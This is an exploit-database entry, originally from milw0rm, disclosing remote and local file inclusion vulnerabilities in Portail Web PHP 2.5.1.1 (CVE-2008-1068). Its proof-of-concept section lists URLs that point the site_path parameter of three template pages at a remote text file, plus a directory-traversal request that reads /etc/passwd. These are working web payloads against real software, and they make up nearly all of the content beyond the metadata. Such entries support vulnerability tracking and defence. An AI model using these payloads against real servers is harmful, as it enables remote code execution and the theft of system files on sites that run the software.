Portail Web PHP 2.5.1.1 - Multiple Inclusion Vulnerabilities

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2008-02-23 
date_updated: 2016-11-14 
verified: 1 
codes: OSVDB-42547;CVE-2008-1068;OSVDB-42546;OSVDB-42545 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comPwP2.5.1.rar

### Portail Web Php <= 2.5.1.1 Multiple Remote/Local File Inclusion Vulnerabilities
### http://surfnet.dl.sourceforge.net/sourceforge/portail-web-php/PwP2.5.1.1.rar
### POC :
### I- Remote File Inclusion
### /PwP2.5.1.1/template/Vert/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Noir/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Bleu/index.php?site_path=http://localhost/020.txt
### II- Local File Inclusion
### /PwP2.5.1.1/?page=../../../../../../../../etc/passwd
### I'm Tryagi - Tryag.Cc/cc - Mahmood_ali  :)

# milw0rm.com [2008-02-24]